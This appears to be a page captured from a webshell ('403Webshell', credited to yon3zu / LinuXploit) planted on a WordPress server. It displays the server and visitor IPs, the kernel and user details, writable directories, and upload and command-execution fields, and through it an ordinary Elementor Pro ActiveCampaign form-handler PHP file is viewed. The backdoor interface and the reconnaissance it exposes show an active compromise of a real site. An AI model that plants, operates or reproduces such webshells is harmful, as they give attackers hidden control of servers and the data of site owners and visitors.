403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.155
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/yme/wp-content/plugins/elementor-pro/modules/forms/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/yme/wp-content/plugins/elementor-pro/modules/forms/classes/activecampaign-handler.php
<?php
namespace ElementorPro\Modules\Forms\Classes;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Activecampaign_Handler {

	private $rest_client = null;

	private $api_key = '';

	public function __construct( $api_key, $base_url ) {
		if ( empty( $api_key ) ) {
			throw new \Exception( 'Invalid API key.' );
		}

		if ( empty( $base_url ) ) {
			throw new \Exception( 'Invalid API URL.' );
		}

		$this->init_rest_client( $api_key, $base_url );

		if ( ! $this->is_valid_api_key() ) {
			throw new \Exception( 'Invalid API key or URL.' );
		}
	}

	private function init_rest_client( $api_key, $base_url ) {
		$this->api_key = $api_key;
		$this->rest_client = new Rest_Client( trailingslashit( $base_url ) . 'admin/api.php' );
	}

	/**
	 * validate api key
	 *
	 * @return bool
	 * @throws \Exception
	 */
	private function is_valid_api_key() {
		$lists = $this->get_lists();

		if ( ! empty( $lists ) ) {
			return true;
		}

		$this->api_key = '';

		return false;
	}

	/**
	 * get ActiveCampaign lists associated with API key
	 * @return array
	 * @throws \Exception
	 */
	public function get_lists() {
		$results = $this->rest_client->get( '?api_action=list_list', [
			'api_key' => $this->api_key,
			'ids' => 'all',
			'api_output' => 'json',
		] );

		$lists = [
			'' => esc_html__( 'Select...', 'elementor-pro' ),
		];

		if ( ! empty( $results['body'] ) ) {
			foreach ( $results['body'] as $index => $list ) {
				if ( ! is_array( $list ) ) {
					continue;
				}

				$lists[ $list['id'] ] = $list['name'];
			}
		}

		$return_array = [
			'lists' => $lists,
			'fields' => $this->get_fields(),
		];

		return $return_array;
	}

	/**
	 * get ActiveCampaign custom fields associated with API key
	 * @return array
	 * @throws \Exception
	 */
	private function get_fields() {
		$results = $this->rest_client->get( '?api_action=list_field_view', [
			'api_key' => $this->api_key,
			'ids' => 'all',
			'api_output' => 'json',
		] );

		$fields = [];

		if ( ! empty( $results['body'] ) ) {
			foreach ( $results['body'] as $index => $field ) {
				if ( ! is_array( $field ) ) {
					continue;
				}
				$fields[] = [
					'remote_label' => $field['title'],
					'remote_type' => $this->normalize_type( $field['type'] ),
					'remote_id' => 'field[' . $field['id'] . ',0]',
					'remote_required' => (bool) $field['isrequired'],
				];
			}
		}

		return $fields;
	}

	private function normalize_type( $type ) {
		static $types = [
			'text' => 'text',
			'number' => 'number',
			'address' => 'text',
			'phone' => 'text',
			'date' => 'text',
			'url' => 'url',
			'imageurl' => 'url',
			'radio' => 'radio',
			'dropdown' => 'select',
			'birthday' => 'text',
			'zip' => 'text',
		];

		return $types[ $type ];
	}

	/**
	 * create contact at Activecampaign via api
	 *
	 * @param array $subscriber_data
	 *
	 * @return array|mixed
	 * @throws \Exception
	 */
	public function create_subscriber( $subscriber_data = [] ) {
		$end_point = '?api_action=contact_sync&api_key=' . $this->api_key . '&api_output=json';

		return $this->rest_client->request( 'POST', $end_point, $subscriber_data );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit